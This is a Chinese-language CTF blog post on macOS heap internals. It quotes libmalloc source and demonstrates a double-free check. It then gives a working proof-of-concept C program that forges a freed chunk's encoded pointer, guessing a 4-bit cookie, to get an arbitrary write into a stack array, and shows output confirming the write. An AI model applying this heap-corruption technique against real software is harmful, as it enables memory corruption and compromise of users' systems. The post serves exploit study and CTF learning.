avatar

CTF-MacPwn分析

Mac程序的编译保护

1
-fpie, -fno-pie //关闭程序的pie保护

Heap

在MacOS中,堆块被分为三类去管理,第一类是tiny、small、large

一般情况下,我们分析MacOS的Heap,源码是肯定要读的。虽然MacOS是闭源系统,但是大部分的代码是开源的。我们可以通过google直接搜索到MacOS相关的源码

首先我们要读一下malloc、free的实现,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void *
malloc(size_t size) {
void *retval;
retval = malloc_zone_malloc(inline_malloc_default_zone(), size);
if (retval == NULL) {
errno = ENOMEM;
}
return retval;
}

void
free(void *ptr) {
malloc_zone_t *zone;
size_t size;
if (!ptr)
return;
zone = find_registered_zone(ptr, &size);
if (!zone) {
malloc_printf("*** error for object %p: pointer being freed was not allocated\n"
"*** set a breakpoint in malloc_error_break to debug\n", ptr);
malloc_error_break();
if ((malloc_debug_flags & (SCALABLE_MALLOC_ABORT_ON_CORRUPTION|SCALABLE_MALLOC_ABORT_ON_ERROR)))
abort();
} else if (zone->version >= 6 && zone->free_definite_size)
malloc_zone_free_definite_size(zone, ptr, size);
else
malloc_zone_free(zone, ptr);
}

发现malloc主要都是通过malloc_zone_malloc实现,于是我们去对应的函数看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
void *
malloc_zone_malloc(malloc_zone_t *zone, size_t size) {
void *ptr;
if (malloc_check_start && (malloc_check_counter++ >= malloc_check_start)) {
internal_check();
}
if (size > MALLOC_ABSOLUTE_MAX_SIZE) {
return NULL;
}
ptr = zone->malloc(zone, size);
if (malloc_logger) malloc_logger(MALLOC_LOG_TYPE_ALLOCATE | MALLOC_LOG_TYPE_HAS_ZONE, (uintptr_t)zone, (uintptr_t)size, 0, (uintptr_t)ptr, 0);
return ptr;
}

其中使用了非常多次malloc_zone_t类型的变量,我们继续查看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#define MALLOC_ZONE_FN_PTR(fn) __ptrauth(ptrauth_key_process_independent_code, \
FALSE, ptrauth_string_discriminator("malloc_zone_fn." #fn)) fn

typedef struct _malloc_zone_t {
/* Only zone implementors should depend on the layout of this structure;
Regular callers should use the access functions below */
void *reserved1; /* RESERVED FOR CFAllocator DO NOT USE */
void *reserved2; /* RESERVED FOR CFAllocator DO NOT USE */
size_t (* MALLOC_ZONE_FN_PTR(size))(struct _malloc_zone_t *zone, const void *ptr); /* returns the size of a block or 0 if not in this zone; must be fast, especially for negative answers */
void *(* MALLOC_ZONE_FN_PTR(malloc))(struct _malloc_zone_t *zone, size_t size);
void *(* MALLOC_ZONE_FN_PTR(calloc))(struct _malloc_zone_t *zone, size_t num_items, size_t size); /* same as malloc, but block returned is set to zero */
void *(* MALLOC_ZONE_FN_PTR(valloc))(struct _malloc_zone_t *zone, size_t size); /* same as malloc, but block returned is set to zero and is guaranteed to be page aligned */
void (* MALLOC_ZONE_FN_PTR(free))(struct _malloc_zone_t *zone, void *ptr);
void *(* MALLOC_ZONE_FN_PTR(realloc))(struct _malloc_zone_t *zone, void *ptr, size_t size);
void (* MALLOC_ZONE_FN_PTR(destroy))(struct _malloc_zone_t *zone); /* zone is destroyed and all memory reclaimed */
const char *zone_name;

/* Optional batch callbacks; these may be NULL */
unsigned (* MALLOC_ZONE_FN_PTR(batch_malloc))(struct _malloc_zone_t *zone, size_t size, void **results, unsigned num_requested); /* given a size, returns pointers capable of holding that size; returns the number of pointers allocated (maybe 0 or less than num_requested) */
void (* MALLOC_ZONE_FN_PTR(batch_free))(struct _malloc_zone_t *zone, void **to_be_freed, unsigned num_to_be_freed); /* frees all the pointers in to_be_freed; note that to_be_freed may be overwritten during the process */

struct malloc_introspection_t * MALLOC_INTROSPECT_TBL_PTR(introspect);
unsigned version;

/* aligned memory allocation. The callback may be NULL. Present in version >= 5. */
void *(* MALLOC_ZONE_FN_PTR(memalign))(struct _malloc_zone_t *zone, size_t alignment, size_t size);

/* free a pointer known to be in zone and known to have the given size. The callback may be NULL. Present in version >= 6.*/
void (* MALLOC_ZONE_FN_PTR(free_definite_size))(struct _malloc_zone_t *zone, void *ptr, size_t size);

/* Empty out caches in the face of memory pressure. The callback may be NULL. Present in version >= 8. */
size_t (* MALLOC_ZONE_FN_PTR(pressure_relief))(struct _malloc_zone_t *zone, size_t goal);

/*
* Checks whether an address might belong to the zone. May be NULL. Present in version >= 10.
* False positives are allowed (e.g. the pointer was freed, or it's in zone space that has
* not yet been allocated. False negatives are not allowed.
*/
boolean_t (* MALLOC_ZONE_FN_PTR(claimed_address))(struct _malloc_zone_t *zone, void *ptr);
} malloc_zone_t;

从上面看到malloc_zone_t中有非常多的函数指针,而且在malloc中是通过zone->malloc直接通过zone里的函数指针直接调用。

如果有能力修改这里的指针,是否可以hook这个函数还得另外在说

看看是否有检查double free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
void initIO(){
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
}
int main(){
initIO();
unsigned long long * ptr1 = malloc(0x18);
free(ptr1);
free(ptr1);
return 0;
}

运行结果如下

1
2
3
easyheap(72928,0x11be9adc0) malloc: *** error for object 0x7fb070c058a0: pointer being freed was not allocated
easyheap(72928,0x11be9adc0) malloc: *** set a breakpoint in malloc_error_break to debug
zsh: abort ./easyheap

MacOS堆块可能是非连续分布,也可能是连续分布。这里存在概率问题
如果是连续分布就可以触发堆溢出,但是MacOS的unlink攻击只能实现任意地址写任意
指针。
表达式表示如下

1
2
标记 = cookies << (64 - 4) | (free指针 >> 4)
例如 0xE00007fabcdef123

POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
void initIO(){
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
}
int main(){
unsigned long long target[0x10];
int i = 0;
for(i = 0;i<0x10;i++){
target[i] = 0;
}
initIO();
unsigned long long * ptr1 = malloc(0x40);
unsigned long long * ptr2 = malloc(0x40);
unsigned long long * ptr3 = malloc(0x40);
unsigned long long * ptr4 = malloc(0x40);
unsigned long long * ptr5 = malloc(0x40);
unsigned long long * ptr6 = malloc(0x40);
ptr1[0] = 0x1111111111111111;
ptr2[0] = 0x2222222222222222;
ptr3[0] = 0x3333333333333333;
ptr4[0] = 0x4444444444444444;
ptr5[0] = 0x5555555555555555;
ptr6[0] = 0x6666666666666666;
free(ptr1);
free(ptr3);
free(ptr5);
malloc(0x40);
ptr3[0] = 0xdeadbeefdeadbeef;
ptr3[1] = 0xA000000000000000 | (unsigned long long)target>>4;
malloc(0x40);
for(i = 0;i<0x10;i++){
printf("target[i] = %p\n",target[i]);
}
return 0;
}

因为cookies本身是爆破的,只有当cookies为A时才可以打通,运行结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
target[i] = 0xdeadbeefdeadbeef
target[i] = 0x0
target[i] = 0x0
target[i] = 0x0
target[i] = 0x0
target[i] = 0x0
target[i] = 0x0
target[i] = 0x0
target[i] = 0x0
target[i] = 0x0
target[i] = 0x0
target[i] = 0x0
target[i] = 0x0
target[i] = 0x0
target[i] = 0x0
target[i] = 0x0

发现stack内数组的值被篡改

文章作者: 咲夜南梦
文章链接: http://yoursite.com/2020/08/04/CTF-MacPwn%E5%88%86%E6%9E%90/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 咲夜南梦's 博客
打赏
  • 微信
    微信
  • 支付宝
    支付宝

评论